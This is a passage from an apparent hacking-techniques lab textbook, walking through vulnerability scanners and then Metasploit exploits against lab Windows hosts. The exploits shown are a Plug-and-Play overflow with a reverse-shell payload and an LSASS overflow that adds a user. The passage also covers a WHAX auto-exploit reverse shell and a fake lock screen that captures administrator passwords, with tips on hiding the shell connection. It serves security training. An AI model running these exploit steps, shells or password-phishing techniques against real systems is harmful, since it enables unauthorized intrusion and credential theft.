If an Administrator\naccount has only logged in a total of 9 times, this may indicate that the user\ndoes not use that server very much or is not logging out and may not dedicate\nappropriate security measures to keep that server up to date. Even if the\npassword cannot be determined by X-Scan, the fact that this server has port\n3389 open indicates other tools may be able to gain access (Lab 59).\n*Note: X-Scan is an excellent tool to check for vulnerabilities against servers and the\nprice (free) cannot be beat.\n" }, { "page_number": 415, "text": "402\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 65: Vulnerability Scanner \nPerform Vulnerability Assessment: SARA \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations\nDescription: SARA (Security Auditor’s Research Assistant) discovers,\nanalyzes, and reports on security vulnerabilities of network-based\ncomputers, servers, routers, and firewalls. SARA is built to support the\nlarge-scale enterprise model that contains more than 25,000 nodes and\nis approved for operation in the SANS Top 10 and Top 20 environments.\nRemember that all commands in Linux are case sensitive.\nProcedure: Compile, install, execute against target, and review the results.\nFrom the directory containing the compressed files, type tar –zxvf sara-\n6.0.7b.tgz.\nThe files will uncompress into a new directory named sara-6.0.7b.\nChange to the new directory by typing cd sara-6.0.7b and pressing Enter.\nThe SARA application must be configured for the specific machine it is on.\nThis is done by typing ./configure.\n" }, { "page_number": 416, "text": "Vulnerability Scanning\n\u0001\n403\nSARA will now configure to the specific machine it is on.\nThe next step is to create the SARA file by typing:\n./make\n" }, { "page_number": 417, "text": "404\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe SARA application will now be created.\nTo execute the SARA application type:\n./sara\n" }, { "page_number": 418, "text": "Vulnerability Scanning\n\u0001\n405\nThe SARA application will start in Mozilla.\nOn the left side of the screen click on Target selection.\n" }, { "page_number": 419, "text": "406\n\u0001\nPractical Hacking Techniques and Countermeasures\nFor the Primary Target Selection enter the target hostname or IP address.\nIn this example the target IP address is 172.16.1.46.\nFor the Scanning level selection, select Extreme. Click the Start the scan\nbutton.\nSARA will initialize the scan against the target.\nStart the scan\n" }, { "page_number": 420, "text": "Vulnerability Scanning\n\u0001\n407\nIn the status bar on the lower left of the screen you may receive a Stalled\nwarning. Be patient as SARA will continue on its own and complete the scan.\nOnce SARA has completed the scan, the results will be displayed in the browser.\n" }, { "page_number": 421, "text": "408\n\u0001\nPractical Hacking Techniques and Countermeasures\nYou can review the results now or scroll down to the bottom of the results\nand click Continue with report and analysis.\nThe SARA Reporting and Analysis screen will be shown. Select the desired\nreport results. In this example, the SARA ReportWriter was selected.\n" }, { "page_number": 422, "text": "Vulnerability Scanning\n\u0001\n409\nAccept the default settings.\n*Note: SARA allows reports to be saved in other formats as well as the default HTML.\nOther formats include Comma Delimited (CSV) and Extensible Markup Lan-\nguage (XML).\nClick the Generate Report button.\nThe SARA report of the scan results will now be displayed.\n" }, { "page_number": 423, "text": "410\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy scrolling through the report, you can display various descriptions and charts.\n*Note: Initially the SARA report will list the Appendices at the beginning of the report.\nIn this case you can consider the Appendices as a Table of Contents for the report.\nBy scrolling down the report, specific details are revealed. In this screen-\nshot SARA even identified nonvulnerable services on the target.\n" }, { "page_number": 424, "text": "Vulnerability Scanning\n\u0001\n411\nAppendix B of the report is a list of the actual vulnerabilities identified on\nthe target.\nAppendix C reports the vulnerabilities by categories of severity.\n" }, { "page_number": 425, "text": "412\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on the specific vulnerabilities located in Appendix B or C, and SARA\nwill take you to the specific area of the report containing the details of the\nvulnerability. In this example, the PnP exploitable via buffer overflow\nvulnerability is selected. \nSARA provides:\n\u0001\nA general overview description of the specific vulnerability\n\u0001\nThe potential impact\n\u0001\nThe possible solution\n\u0001\nReferences\n" }, { "page_number": 426, "text": "Vulnerability Scanning\n\u0001\n413\n\u0001\nApplicable credits\n\u0001\nOther information\n" }, { "page_number": 427, "text": "414\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 66: Web Server Target Assessment \nAssessment of Web Server Security: N-Stealth \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion computers\nDescription: The N-Stealth application is designed to perform a vulner-\nability assessment on Web servers. N-Stealth includes a database of\nover 30,000 known exploits and attacks that are run against a target.\nN-Stealth is designed to check local and remote Web servers.\nProcedure: Install, start the application, set the parameters, and execute.\nDouble-click on the NStealth-Free-5-8b103 icon to start the installation.\nThe N-Stealth application will initially ask for a Language Selection. Make\na selection from the drop-down menu and click on OK.\nInstall the N-Stealth application with the default options. The installation\nof N-Stealth will complete. Click Finish.\n" }, { "page_number": 428, "text": "Vulnerability Scanning\n\u0001\n415\nDouble-click the N-Stealth Free Edition icon to start the application.\nThe N-Stealth application will start and ask to verify the language choice.\nSelect the option Set as my default language so this will not occur the next\ntime the application starts. Click OK.\n" }, { "page_number": 429, "text": "416\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Security Scanner screen will appear. Enter the target IP Address or\nHostname in the Host Address field. Click on Start Scan.\nN-Stealth will ask if you want to add this target to the host list? Click Yes.\n" }, { "page_number": 430, "text": "Vulnerability Scanning\n\u0001\n417\nThe scan will initiate against the target. The free version includes more\nthan 20,000 exploits while the paid version includes more than 30,000.\nOnce the scan completes, the N-Stealth Report Manager will appear. Click\non the report and then click the Summary button.\n" }, { "page_number": 431, "text": "418\n\u0001\nPractical Hacking Techniques and Countermeasures\nAn N-Stealth Scanning Results Summary report for the scan will appear\nlisting the overall results of the scan. N-Stealth offers the ability for reports to\nbe generated in either HTML or XML format. For this example, click the\nGenerate HTML button.\nThe Report Generation screen appears. Verify your HTML format selection,\naccept the default location for the report, and enter any specific custom notes\nto be included in the report. Click OK.\n" }, { "page_number": 432, "text": "Vulnerability Scanning\n\u0001\n419\nThe Report Generator will create the report and display an information\nwindow. Click OK.\nDouble-click the report from the directory N-Stealth saved the report to.\nThe N-Stealth report will open in the Web browser. Any Custom Notes\nentered prior to the scan will be displayed in the Notes section.\n" }, { "page_number": 433, "text": "420\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy scrolling down the screen the specifics of the screen are shown, including:\n\u0001\nThe Vulnerability Name\n\u0001\nThe Risk Level (High, Medium, Low)\n\u0001\nBugtraq ID number\n\u0001\nCVE ID\n\u0001\nAn HTML link to the target demonstrating the exploit\n*Note: Many times the HTML link will not provide anything useful, but I can tell you\nfrom experience with this application that when you receive this many hits\non a target, the target itself has not been updated in quite a while. It should\nbe fairly easy to compromise.\n" }, { "page_number": 434, "text": "Vulnerability Scanning\n\u0001\n421\nLab 67: Vulnerability Scanner \nExploit Data from Target Computer: Pluto \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion computers\nDescription: An overall security scanner, including a multithreaded port\nscanner, Common Gateway Interface (CGI) scanner, port fingerprint-\ning, Microsoft Structured Query Language (MSSQL) audit, FTP audits,\nSMTP audits, Network Basic Input/Output System (NetBIOS) audits,\nand password audits.\nProcedure: Start, set the parameters, and execute.\nOpen the audits.ini file.\nEnter the correct path the *.audit files and save.\n" }, { "page_number": 435, "text": "422\n\u0001\nPractical Hacking Techniques and Countermeasures\nDouble-click the Pluto icon to start the application.\nThe Pluto scanner will start with the Address field highlighted.\n" }, { "page_number": 436, "text": "Vulnerability Scanning\n\u0001\n423\nChange the IP address to the target IP Address or Hostname.\nPlace your mouse over Config on the left side of the screen. This is actually\na button but the mouse icon will not change. Click on Config and the Options\nscreen will appear.\n" }, { "page_number": 437, "text": "424\n\u0001\nPractical Hacking Techniques and Countermeasures\nDrag the slider bar for the Number of Threads as far to the right as\npossible. Click Apply. The screen will close.\n*Note: Do NOT click on Password Brute Force as this function creates windows\nerrors (this is a fluke in Pluto’s code).\nClick on Config again and click on the Brute Force tab. Review the location\nand names of the Password and Usernames files. If they do not exist, you will\nneed to create them with a text editor, such as Notepad. Click Apply.\n" }, { "page_number": 438, "text": "Vulnerability Scanning\n\u0001\n425\nClick the start button → and Pluto will begin to scan the target. The\nprogress bar will show the percentage of the completion of the scan.\nPluto will complete the scan.\n" }, { "page_number": 439, "text": "426\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy expanding the results, you can evaluate the details. Pluto will automat-\nically perform banner grabbing as well.\nScrolling through the results in this example will identify three potentially\ncritical errors in the target. Pluto will identify:\n\u0001\nThe CGI script executed\n\u0001\nA description of the vulnerability\n\u0001\nA severity rating (High, Medium, Low)\n" }, { "page_number": 440, "text": "Vulnerability Scanning\n\u0001\n427\nTo save the report click on File, then click Save, and finally select Name\nthe Report and click Save.\nThe last feature of Pluto to mention is the ability to add custom audit checks.\nThis is done by placing the mouse over the Audits word on the left of the\napplication. As before, this is actually a button even though the mouse pointer\nwill not change. Click on Audits and the Database Explorer will appear.\n" }, { "page_number": 441, "text": "428\n\u0001\nPractical Hacking Techniques and Countermeasures\nPluto allows you to enter custom entries into the databases. By clicking\non each database, you display the vulnerabilities. Click each vulnerability in\nthe list to list the details of each.\n*Note: Pluto allows for the addition of custom exploits. I have found that (as with\nthe earlier code error that results when clicking on the Brute-Force option),\nclicking the Add button at this point can cause another error. In order to add\ncustom vulnerabilities you must edit the audit files themselves with a text\neditor, such as Notepad. This is recommended by experienced people only\nas it deals with direct scripting.\nEven with Pluto’s code issue, I left it in because of its ability to add the\ncustom audit scripts. You can use the audit files to gain experience in scripting\nand understand how these exploits work against a target.\n" }, { "page_number": 442, "text": "Vulnerability Scanning\n\u0001\n429\nLab 68: Vulnerability Assessment \nPerform Vulnerability Assessment: Metasploit \n \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations\nDescription: The Metasploit Framework is an advanced open source\nplatform for developing, testing, and using exploit code. This project\ninitially started off as a portable network game and has evolved into a\npowerful tool for penetration testing, exploit development, and vulner-\nability research. Remember that all commands in Linux are case sensitive. \nProcedure: Windows: Install, set parameters, execute, and review results.\nLinux: Compile, set parameters, execute, and review results.\nOn Windows\nDouble-click on the framework-2.5.exe icon to start the installation of\nMetasploit.\nInstall the Metasploit Framework Wizard with the default options. Metasploit\nwill now finish installing. Click Finish.\n" }, { "page_number": 443, "text": "430\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on Start/Programs/Metasploit Framework/MSFConsole to start\nthe Metasploit application.\nThe Metasploit application will start.\n*Note: When Metasploit starts, it tells you not only the version you are running, but\nalso the number of exploits and payloads included with that version. In version\n2.5 Metasploit includes 105 exploits and 74 payloads.\n" }, { "page_number": 444, "text": "Vulnerability Scanning\n\u0001\n431\nTo see what exploits are included, type show exploits and press Enter.\nThe included exploits will be listed. The left column identifies the name\nof the exploit and the right column gives a brief description of the exploit.\n*Note: All exploits will scroll by quickly. For the purposes of this lab, I have scrolled up\nthe screen to show all of the exploits from the top down.\n" }, { "page_number": 445, "text": "432\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy scrolling down the screen you can see that there are more exploits available.\nThe last screenshot identifies the remaining exploits available.\n" }, { "page_number": 446, "text": "Vulnerability Scanning\n\u0001\n433\nFor this example, we will use the Microsoft Plug-and-Play Remote Buffer\nOverflow exploit. This is done by typing:\nuse ms05_039_pnp\n*Note: Why use the Microsoft Plug-and-Play Remote Buffer Overflow? I knew the\ntarget was vulnerable because of the results I received from Lab 60 (SAINT)\nas this exploit was one of the 14 OS vulnerabilities listed from that lab.\n" }, { "page_number": 447, "text": "434\n\u0001\nPractical Hacking Techniques and Countermeasures\nOnce the exploit has been identified, you must determine what payload\nto use with the exploit chosen. List the available payloads by typing show\npayloads and pressing Enter.\nThe payloads included with Metasploit are now displayed on the screen.\nIn this lab we want to receive a C: prompt from the target machine so we\nneed to select the win32_reverse payload. This is done by typing:\nset PAYLOAD win32_reverse\n" }, { "page_number": 448, "text": "Vulnerability Scanning\n\u0001\n435\nOnce the exploit and payload have been selected, the target must be chosen.\nMetasploit will identify which targets are susceptible to the specific exploit you\nare using. To view a list of targets, type show targets and press Enter.\nIn this example, the exploit can be used against the following:\n\u0001\nWindows 2000 targets (Service Pack 0–4 installed on it)\n\u0001\nWindows 2000 targets (French language with Service Pack 4 installed)\n\u0001\nWindows 2000 targets (Spanish language with Service Pack 4 installed)\n*Note: Once again the value and importance of maintaining updates on your computers\nis demonstrated. A properly patched system is much more difficult to penetrate.\n" }, { "page_number": 449, "text": "436\n\u0001\nPractical Hacking Techniques and Countermeasures\nFor this example, the target was set to 0 by typing set TARGET 0 and\npressing Enter.\nThe next step is to identify what is required and what is optional for the\nexploit to run. Type in show options and press Enter.\n" }, { "page_number": 450, "text": "Vulnerability Scanning\n\u0001\n437\nThis exploit has two required fields that are currently blank (RHOST and LHOST). \nSet the target IP address for the RHOST by typing:\nset RHOST 172.16.1.40\n" }, { "page_number": 451, "text": "438\n\u0001\nPractical Hacking Techniques and Countermeasures\nSet the target IP address for the RHOST by typing:\nset RHOST 172.16.1.40\nSome exploits allow you to check the target for the vulnerability prior to\nlaunching the exploit itself. This is done by typing check and pressing Enter.\nIn this example the target appears to be vulnerable.\n" }, { "page_number": 452, "text": "Vulnerability Scanning\n\u0001\n439\nTo execute the exploit against the target, simply type exploit and press Enter.\nIf successful with this exploit, you should be looking at a C: prompt on\nthe target computer. \n" }, { "page_number": 453, "text": "440\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo verify that you are actually connected to the target computer, type ipconfig\nand press Enter. In this example, we receive the IP address of the target, which\nverifies we are actually connected to a remote connection on the target.\n*Note: An unauthorized remote shell to a target can be extremely dangerous. At this\npoint the attacker can do anything to the target as though he or she were sitting\nbehind the actual keyboard of the target computer. \n*Note: Another technique to hide the connection is to change the ports the connec-\ntion takes place on. For example, by telling the remote computer to use port\n2417 and connecting to the attacking computer on port 80, it would appear\nto anyone from the target computer that he or she is connected to a Web site.\n" }, { "page_number": 454, "text": "Vulnerability Scanning\n\u0001\n441\nOn Linux\nFrom the directory containing the compressed files, type tar –zxvf frame-\nwork-2.5.tar.gz.\nThe files will uncompress into a new directory named framework-2.5.\nChange to the new directory by typing cd framework-2.5 and pressing\nEnter.\nTo execute the Metasploit Framework type:\n./msfconsole\n" }, { "page_number": 455, "text": "442\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Metasploit startup screen is displayed. As in the Windows version\nMetasploit not only identifies what version you are running but also how\nmany exploits and payloads are included.\nTo see what exploits are included type show exploits and press Enter.\n" }, { "page_number": 456, "text": "Vulnerability Scanning\n\u0001\n443\nThe exploits are listed.\nFor this example, Metasploit will be used to exploit the Microsoft LSASS\nservice by performing a stack overflow. This is done by typing:\nuse lsass_ms04_011\n" }, { "page_number": 457, "text": "444\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe next step is to identify the payloads. This is done by typing show\npayloads and pressing Enter.\nIn this lab we will attempt to add a user to the target system. To accomplish\nthis we need to use the win32_adduser payload. This is done by typing set\nPAYLOAD win32_adduser and pressing Enter.\n" }, { "page_number": 458, "text": "Vulnerability Scanning\n\u0001\n445\nThe next step is to identify what targets are subject to this exploit. This is\ndone by typing show targets and pressing Enter.\nThis exploit works against:\n\u0001\nWindows 2000 machines\n\u0001\nWindows XP machines\nAs this exploit allows for an automatic detection of the target we set the\ntarget by typing set TARGET 0 and pressing Enter.\n" }, { "page_number": 459, "text": "446\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe next step is to identify what is required and what is optional for this\nexploit. This is done by typing show options and pressing Enter.\nThis exploit requires three parameters to work:\n\u0001\nRHOST (Target IP address)\n\u0001\nPASS (Password for the new user)\n\u0001\nUSER (Username for the new user)\n" }, { "page_number": 460, "text": "Vulnerability Scanning\n\u0001\n447\nSet the target by typing set RHOST 172.16.1.40.\nSet the password by typing set PASS 123456.\n" }, { "page_number": 461, "text": "448\n\u0001\nPractical Hacking Techniques and Countermeasures\nSet the username by typing set USER virtualhacking.\nThis exploit does not come with a check function so it is either going to\nwork or not. To execute the exploit type exploit and press Enter.\n" }, { "page_number": 462, "text": "Vulnerability Scanning\n\u0001\n449\nIf no error is displayed, the exploit was probably successful. We will verify.\nFrom the target machine, type ipconfig and press Enter. This will identify\nthe IP address as 172.16.1.40 (our actual target).\n" }, { "page_number": 463, "text": "450\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy checking Computer Management on the target, we can identify that\nindeed a new user account named virtualhacking has been created on the\ntarget machine.\n*Note: As you might imagine the ability for an attacker to create accounts on a remote\nsystem “at will” is like giving the keys to the kingdom away.\n" }, { "page_number": 464, "text": "Vulnerability Scanning\n\u0001\n451\nLab 69: Web Server Target Assessment \nAssessment of Web Server Security: Nikto \nPrerequisites: ActivePerl for Windows Version, none for the target\nCountermeasures: Secure ACLs, Bastion computers\nDescription: Nikto is a tool for finding default Web files and examining\nWeb server and CGI security. Remember that all commands in Linux\nare case sensitive.\nProcedure: Install, start the application, set the parameters, and execute.\nFrom the directory containing the compressed files type tar –zxvf nikto-\ncurrent.tar.gz.\nThe files will uncompress into a new directory named nikto-1.35.\nChange to the new directory by typing cd nikto-1.35 and pressing the\nEnter key.\nExecute against the target with the syntax of ./nikto –h . In this example:\n./nikto –h 172.16.1.46\n" }, { "page_number": 465, "text": "452\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe target will be scanned for potential weaknesses and list, when appli-\ncable, the Microsoft Security Bulletin reference.\nTo use Nikto on a Windows computer, you must have ActivePerl installed.\nThe ActivePerl application is free and you install it by double-clicking on the\ninstallation icon.\n" }, { "page_number": 466, "text": "Vulnerability Scanning\n\u0001\n453\nInstall ActivePerl with the default options. ActivePerl will complete instal-\nlation. Click Finish.\nExecute Nikto with the following syntax:\nnikto –h \nIn this example:\nnikto –h 172.16.1.46\n" }, { "page_number": 467, "text": "454\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe target will be scanned for potential weaknesses and list, when appli-\ncable, the Microsoft Security Bulletin reference.\n*Note: Running Nikto in Linux or Windows can be helpful, but I noticed that when\nexecuting in Windows the results tend to be more intuitive and descriptive.\n" }, { "page_number": 468, "text": "Vulnerability Scanning\n\u0001\n455\nLab 70: Vulnerability Scanner \nAssessment of Target Security: Shadow Scanner \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations\nDescription: Shadow Security Scanner (SSS) analyses collect data, locates\nvulnerabilities, and provide suggestions to correcting those issues.\nShadow Scanner runs on the Windows platform but is able to scan\nUnix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris, and all versions of\nWindows.\nProcedure: Install, start the application, set the parameters, and execute\nagainst the target.\nDouble-click the SSS icon to start the Shadow Scanner installation process.\nInstall the Shadow Scanner Setup with the default options.\nThe Shadow Scanner will complete its installation. Accept the Run\nShadow Security Scanner. Click Finish.\n" }, { "page_number": 469, "text": "456\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Shadow Security Scanner will load.\nAs this is the unregistered version it will only operate 15 days. Click Continue.\n" }, { "page_number": 470, "text": "Vulnerability Scanning\n\u0001\n457\nThe Shadow Security Scanner will start.\nClick the Scanner button on the left side of the application. Select the\nDefault Policy of Complete Scan. Click Next.\n" }, { "page_number": 471, "text": "458\n\u0001\nPractical Hacking Techniques and Countermeasures\nEnter any Comments for the scan. Click Next.\nAt the Edit Hosts screen click Add Host.\n" }, { "page_number": 472, "text": "Vulnerability Scanning\n\u0001\n459\nEnter the IP address of the target. Click the Add button.\nThe target IP address will now be listed in the Edit Hosts screen. Click Done.\n*Note: You also have the ability to do the following:\n\u0001\nScan an IP zone\n\u0001\nScan from a file listing hosts to scan\n\u0001\nDelete hosts from the lists on this screen\n" }, { "page_number": 473, "text": "460\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick the start button \n to begin the scan.\nShadow Security Scanner will begin.\n" }, { "page_number": 474, "text": "Vulnerability Scanning\n\u0001\n461\nBe patient with Shadow Security Scanner, first-time users tend to think the\nprocess is finished prior to the audit testing completing, Shadow is not complete\nuntil you see the Scan complete (100%) message in the status bar.\n" }, { "page_number": 475, "text": "462\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy clicking on one of the vulnerabilities found by Shadow, you display\nthe details of the vulnerability in the lower section of the application, among\nthem:\n\u0001\nThe description\n\u0001\nThe risk level\n\u0001\nThe solution\n\u0001\nThe community name (if applicable)\n\u0001\nDescription of the target system\n\u0001\nTarget hostname\n\u0001\nAmount of RAM on the target\n\u0001\nIP address\nOnce the scan has completed, click the Report \n button.\n" }, { "page_number": 476, "text": "Vulnerability Scanning\n\u0001\n463\nAs this is the first report run, click the Add report button.\nEnter a Name for the report and select the report style. Click OK.\n" }, { "page_number": 477, "text": "464\n\u0001\nPractical Hacking Techniques and Countermeasures\nAccept the default Selections to view the entire report. Click OK.\nThe last step to creating the report is to give the report a filename. Once\nyou have provided a filename, click Save. (Be sure you know where you are\nsaving the file.)\n" }, { "page_number": 478, "text": "Vulnerability Scanning\n\u0001\n465\nLocate the saved report file and double-click to open it.\nThe report will open in a Web browser. The initial glance displays a\nConfidential Information warning.\n" }, { "page_number": 479, "text": "466\n\u0001\nPractical Hacking Techniques and Countermeasures\nContinue to scroll down the report to view the Executive Summary\nportion of the report.\nBy scrolling further down the report, the details of the scan will be revealed,\nalong with the details of how to correct the vulnerabilities.\n" }, { "page_number": 480, "text": "Vulnerability Scanning\n\u0001\n467\nAt the end of the report a Glossary is conveniently available for review.\n*Note: Shadow Security Scanner is an excellent vulnerability scanner, which is com-\nparable to the more expensive scanners like Retina. At the time of this writing\nthe cost for the full version of Shadow is $372.70.\n" }, { "page_number": 481, "text": "468\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 71: Internet Vulnerability Scanner \nAssessment of Target Security: Cerberus \nPrerequisites: None\nCountermeasures: ACLs, Bastion Computer, host-based firewalls\nDescription: Cerberus is an Internet scanner that looks for vulnerabilities\nin Web, FTP, SMTP, POP3, NT, NetBIOS, MS SQL, and others. The\nscanner runs about 300 scans and generates HTML reports.\nProcedure: Start, define the parameters, select the target, and initiate the\nscan.\nDouble-click on the cis icon to start the Cerberus scanner.\nThe Cerberus scanner starts.\n" }, { "page_number": 482, "text": "Vulnerability Scanning\n\u0001\n469\nClick the \n button on the toolbar. The Select Scan Modules screen will\nappear.\nIn this example, All was selected. Click OK.\nM\n" }, { "page_number": 483, "text": "470\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on the house \n icon on the toolbar. The Choose host to scan\nscreen will appear.\nEnter the IP address of the target. Click Select.\n" }, { "page_number": 484, "text": "Vulnerability Scanning\n\u0001\n471\nClick on the \n button on the toolbar. The scan of the target will initiate.\nAs each module is finished, the word completed. will appear to the right of\nthe module name. \nBe patient, as a few of the areas may take a couple of minutes to complete.\nS\n" }, { "page_number": 485, "text": "472\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick the Report \n button on the toolbar. The autogenerated HTML report\nwill open in a Web browser.\nBy clicking on each section on the left side of the report, you can display\nthe details on the right side of the screen.\n" }, { "page_number": 486, "text": "Vulnerability Scanning\n\u0001\n473\nIf an area is selected where Cerberus was unable to gather any data, you\nwill receive a notice similar to the following:\nThe NetBIOS Session Service section will display any shares on the target,\nincluding any hidden shares detected.\n*Note: For a quick look at a Windows target, Cerberus is a fast, efficient tool.\n" }, { "page_number": 487, "text": "474\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 72: WHAX –– Auto Exploit Reverse Shell \nAutomatically Exploit the Target: AutoScan\nPrerequisites: WHAX (formerly Whoppix)\nCountermeasures: Secure ACLs, Bastion computers\nDescription: Whoppix is a stand-alone penetration testing live CD based\non Knoppix with the latest tools and exploits.\nProcedure: Boot from the WHAX CD, set parameters, and execute.\nPlace the WHAX CD in the drive and boot the virtual computer.\n*Note: Because WHAX runs from the CD itself we will not install the VMware Tools.\nYou may need to manually adjust the video settings, which are outlined\nbelow. There is an option to install WHAX to the hard drive but I have had\nseveral issues with it installing correctly.\n" }, { "page_number": 488, "text": "Vulnerability Scanning\n\u0001\n475\nThe WHAX CD will begin to boot.\nBe patient when the boot screen displays copying rootchanges as this\nprocess may take a few minutes.\n" }, { "page_number": 489, "text": "476\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe login screen will be displayed. WHAX is nice enough to tell you the\nlogin name and password. Username: root / Password: toor\nLog into WHAX.\nThe next step is to verify the video resolution settings for Xwindows. Type\nvi /etc/X11/xorg.conf and press Enter.\n" }, { "page_number": 490, "text": "Vulnerability Scanning\n\u0001\n477\nThe contents of the xorg.conf file will be displayed.\nScroll down until you see the Subsection \"Display\" area.\n" }, { "page_number": 491, "text": "478\n\u0001\nPractical Hacking Techniques and Countermeasures\nPress the Insert key and the word –INSERT– will appear across the lower\nleft side of the screen.\nBecause the default depth is set to 24 we only need to change that one\nentry. You can edit the line directly, but for this example, I simply stopped\nthe original line from being executed by placing a # sign in front of the text.\n" }, { "page_number": 492, "text": "Vulnerability Scanning\n\u0001\n479\nPress the Enter key to start a new line and type the desired screen\nresolution:\nModes \"800x600\"\nPress the Esc key to stop the Insert mode. The word –INSERT– will\ndisappear from your screen.\n" }, { "page_number": 493, "text": "480\n\u0001\nPractical Hacking Techniques and Countermeasures\nNow save the file by typing wq! and pressing Enter. You must include\nthe ! to force the writing of this file as it is set to Read Only.\nYou will receive verification that the file was written.\n" }, { "page_number": 494, "text": "Vulnerability Scanning\n\u0001\n481\nNow start the Graphical User Interface (GUI) by typing startx and pressing\nEnter.\nThe Xwindows environment will boot up.\n" }, { "page_number": 495, "text": "482\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe WHAX desktop will be displayed.\nClick the \n button on the taskbar, then select /WHAX Tools/Scanners/\nPort-Scanners/AutoScan(0.9.5). The AutoScan application will display a\nsplash screen.\nK\n" }, { "page_number": 496, "text": "Vulnerability Scanning\n\u0001\n483\nAutoScan does not appear like most applications when started. Instead, it\nplaces an icon over by the clock on the taskbar. Double-click on that icon.\nThe AutoScan Start screen appears. Click the Preferences button.\n" }, { "page_number": 497, "text": "484\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe current network Preferences will be displayed.\nHighlight the current network.\n" }, { "page_number": 498, "text": "Vulnerability Scanning\n\u0001\n485\nEdit the network settings to match your current network.\nMake sure that the correct interface is selected. Click the OK button. Click\nthe Save button.\n" }, { "page_number": 499, "text": "486\n\u0001\nPractical Hacking Techniques and Countermeasures\nYou will be brought back to the Start screen. Click the OK button.\nAutoScan will start and populate the network.\n*Note: Be patient in this step as AutoScan may take a minute or so to populate the list.\n" }, { "page_number": 500, "text": "Vulnerability Scanning\n\u0001\n487\nExpand the devices found by clicking on the + symbol and locate a target.\nNotice the IP address of the target when you select it.\nRight-click the target and select Script, then Metasploit.\n" }, { "page_number": 501, "text": "488\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Metasploit settings screen will be displayed.\nChange Select payload to Reverse Shell.\n" }, { "page_number": 502, "text": "Vulnerability Scanning\n\u0001\n489\nUnder Payload options change the Listening host to the network card\nyou are using. Click the Exploit button.\n*Note: Most readers will not have to make the Listening Host change. In my Virtual\nMachine I had two virtual network cards (NICs) installed and had to tell\nAutoScan which one to use.\nThe appropriate screen, according to the parameters you just set, will appear.\nIn this case, I immediately received a DOS prompt, hopefully from the target.\n" }, { "page_number": 503, "text": "490\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo verify that I am indeed on the target computer, I type the command\nipconfig and press Enter.\nThe IP address listed is indeed that of the target.\n*Note: If you attempt to attack a target and the screen appears, attempts to run, and\nthen disappears, chances are the attack will not work against that target. This\ndoes not mean other attacks will not work but the legwork an attacker performs,\nas outlined in previous labs, tells the attacker which exploit to attempt.\n" }, { "page_number": 504, "text": "Vulnerability Scanning\n\u0001\n491\nLab 73: Unique Fake Lock Screen XP \nGrab the Administrator Password: Fake Lock Screen XP \nPrerequisites: Windows XP\nCountermeasures: Strong security policies, strong physical security\nDescription: Until now, the “Fake” security screen locks did not handle\nMicrosoft’s Ctrl+Alt+Del screen. As soon as the computer unlocks, a\nmessage box pops up saying you entered the wrong password, so you\ntype it in again carefully; this time Windows logs it and tells you that\nthis will log you off, just like in the real lock screen. The Administrative\npassword will be saved locally on the hard drive.\nProcedure: Start the application, set the parameters, and execute.\nFrom the directory containing the Screen XP application, double-click the\nappropriate Lock.exe icon.\n*Note: Which icon? According to the author, the difference is whether or not Win-\ndows XP is using Visual Styles. If unsure, try the Lock.exe.\nThe Screen XP parameters screen will be displayed.\nor\n" }, { "page_number": 505, "text": "492\n\u0001\nPractical Hacking Techniques and Countermeasures\nBecause the goal of this program is to obtain an Administrative program you\nwant to enter the Username of a known Administrative account. In this account\nthe Administrator account is used. Click Add (you can add up to 10 usernames).\nNotice the user’s password file location. By default it is C:\\pass.txt. You\ncan save the file to a network location; an attacker will more than likely do\nso, saving the file to a location he or she personally has access to or even to\na removable pen drive plugged into the computer.\nChange the DefaultUser text that will appear when the screen is “locked”\nto a known valid username on the network. In this example, I used User1.\n" }, { "page_number": 506, "text": "Vulnerability Scanning\n\u0001\n493\nEdit the next line of text that will be displayed to the user on the “Locked”\nscreen to the computer name on the network. In this example, I used W2KP.\nEdit the last line to change the text to match the computer name as before.\nThis name should match the name as above. Click the Save The Options\nAnd Lock The Computer button\n.\nSave The Options And Lock\nThe Computer\n" }, { "page_number": 507, "text": "494\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe computer screen will now be “Locked.” Notice the username you\nidentified earlier is already filled in.\nThe user will enter his or her password. \n" }, { "page_number": 508, "text": "Vulnerability Scanning\n\u0001\n495\nEven if the user enters the correct password, he or she will receive the\nfollowing error screen. Click OK.\nThe idea is to have a user with Administrative privileges log into the\ncomputer to allow the user to reset his or her password since he or she has\napparently “forgotten” his or her password.\n*Note: With remote Administrative applications in an abundant supply, this tool is\nonly effective if the user can get a user with Administrative privileges to log\nin locally. In this example, the Administrative user is the Administrator.\n" }, { "page_number": 509, "text": "496\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Administrative user will now enter his or her password.\nThe Administrative user will receive the following caution message about\nlogging off the currently logged-in user. The user will click 